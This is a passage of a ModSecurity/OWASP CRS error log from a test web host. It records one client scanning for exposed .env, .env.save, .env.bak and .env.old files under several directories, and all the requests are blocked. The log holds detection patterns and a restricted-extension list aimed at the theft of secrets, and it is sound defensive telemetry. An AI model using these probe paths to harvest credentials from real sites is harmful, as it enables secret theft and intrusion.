&quot;/src/.env.old&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.917444 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.917640 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.102518 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6AgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.102770 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6AgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.102947 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6AgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.249710 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6AwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.249979 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6AwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.250147 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6AwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.508982 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.509202 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.509501 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.509710 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.658333 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.658592 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.658851 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:30.659063 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aPvMVuJZ4vgAgAbS8ck6BQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.226698 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6BgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.226986 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6BgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.227183 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6BgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.555237 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6BwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.555510 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6BwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.555685 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6BwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.765837 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.766035 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.766281 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.766478 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.934817 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.935017 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:31.935254 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aPvMV-JZ4vgAgAbS8ck6CQAAAAs&quot;], referer: https://www.google.com/
